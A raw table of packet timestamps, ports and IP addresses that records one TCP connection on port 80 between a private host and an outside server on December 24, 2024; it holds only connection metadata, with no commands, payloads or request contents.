Dec 24, 2024 22:27:15.488976955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.489167929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.489221096 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.489280939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.489332914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.489332914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.489367962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.489377975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.489408016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.489934921 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.489994049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490057945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490108013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490117073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490170002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490267038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490319014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490833044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490869999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490888119 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490915060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.490957975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.490991116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.491022110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.491043091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.491709948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.491744041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.491766930 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.491779089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.491789103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.491818905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.491832972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.491873026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.492460966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.492511988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.492583036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.492618084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.492661953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.492830038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.492897987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.493339062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.493406057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.493462086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.493495941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.493510008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.493537903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.493669033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.493721962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.494195938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.494316101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.494365931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.494389057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.494419098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.494539022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.494590044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.495096922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.495148897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.495210886 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.495244980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.495263100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.495282888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.495495081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.495556116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.495917082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.495965958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.496027946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.496062994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.496079922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.496108055 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.571891069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.571929932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.571954012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572036982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572318077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572351933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572386980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572422028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572447062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572603941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572674036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572825909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572884083 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572913885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572947979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572976112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.572982073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.572984934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.573110104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.573714972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.573769093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.573801041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.573847055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.573853016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.573890924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.574105024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.574158907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.574548006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.574604988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.574660063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.574693918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.574711084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.574738026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.574947119 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.575001001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.575453043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.575512886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.575534105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.575567961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.575577021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.575613976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.575747013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.575797081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.576286077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.576322079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.576339960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.576364994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.576443911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.576477051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.576495886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.576520920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.577152967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.577203035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.577244043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.577276945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.577322006 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.577476978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.577531099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578022957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578058004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578082085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578098059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578145981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578181028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578190088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578226089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578849077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578903913 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.578923941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578958035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.578969955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.579004049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.579164982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.579226971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.579714060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.579766035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.579819918 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.579854012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.579869986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.579900980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.580033064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.580084085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.580602884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.580656052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.580660105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.580703020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.580714941 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.580750942 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.580903053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.580951929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.581418991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.581470013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.581574917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.581628084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.581634045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.581667900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.581681013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.581713915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.582262039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.582315922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.582376957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.582412004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.582423925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.582453966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.582592010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.582643986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.583126068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.583178043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.583231926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.583281994 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.583281994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.583338976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.583501101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.583554029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.583986044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584038019 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.584109068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584142923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584161043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.584187984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.584395885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584449053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.584876060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584912062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.584928036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.584949017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.585033894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.585083961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.585067987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.585129976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.680335045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.680434942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.680468082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.680509090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.680623055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.680632114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.680672884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.680952072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.680984974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681008101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681019068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681030989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681067944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681216955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681278944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681337118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681370974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681390047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681415081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.681570053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.681626081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.682034969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.682090998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.682131052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.682164907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.682207108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.682383060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.682436943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.682969093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683022022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683026075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683056116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683092117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683100939 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683227062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683274984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683758020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683814049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683842897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683876991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.683892965 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.683922052 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.684088945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.684144974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.684612989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.684665918 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.684715986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.684750080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.684775114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.684796095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.684956074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.685005903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.685451984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.685502052 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.685579062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.685612917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.685631037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.685661077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.686057091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.686106920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.686346054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.686381102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.686399937 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.686436892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.686491013 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.686525106 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.686546087 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.686578989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.687212944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.687247038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.687268019 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.687283039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.687292099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.687335968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.687407017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.687506914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.688008070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.688061953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.688195944 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.688255072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.763911963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.763982058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764015913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764055014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764091015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764168978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764297009 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764360905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764440060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764472961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764492035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764506102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764519930 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764553070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.764952898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.764986038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765002966 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765021086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765032053 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765063047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765086889 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765150070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765681982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765733004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765809059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765846014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.765858889 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.765891075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.766048908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.766103029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.766572952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.766629934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.766685009 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.766719103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.766733885 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.766762972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.766908884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.766957045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.767482996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.767518044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.767529011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.767569065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.767617941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.767652988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.767662048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.767698050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.768290043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.768342018 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.768397093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.768429995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.768451929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.768466949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.768615007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.768680096 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.769128084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.769144058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.769185066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.769198895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.769455910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.769471884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.769519091 CET	49749	80	192.168.2.4	135.181.65.216
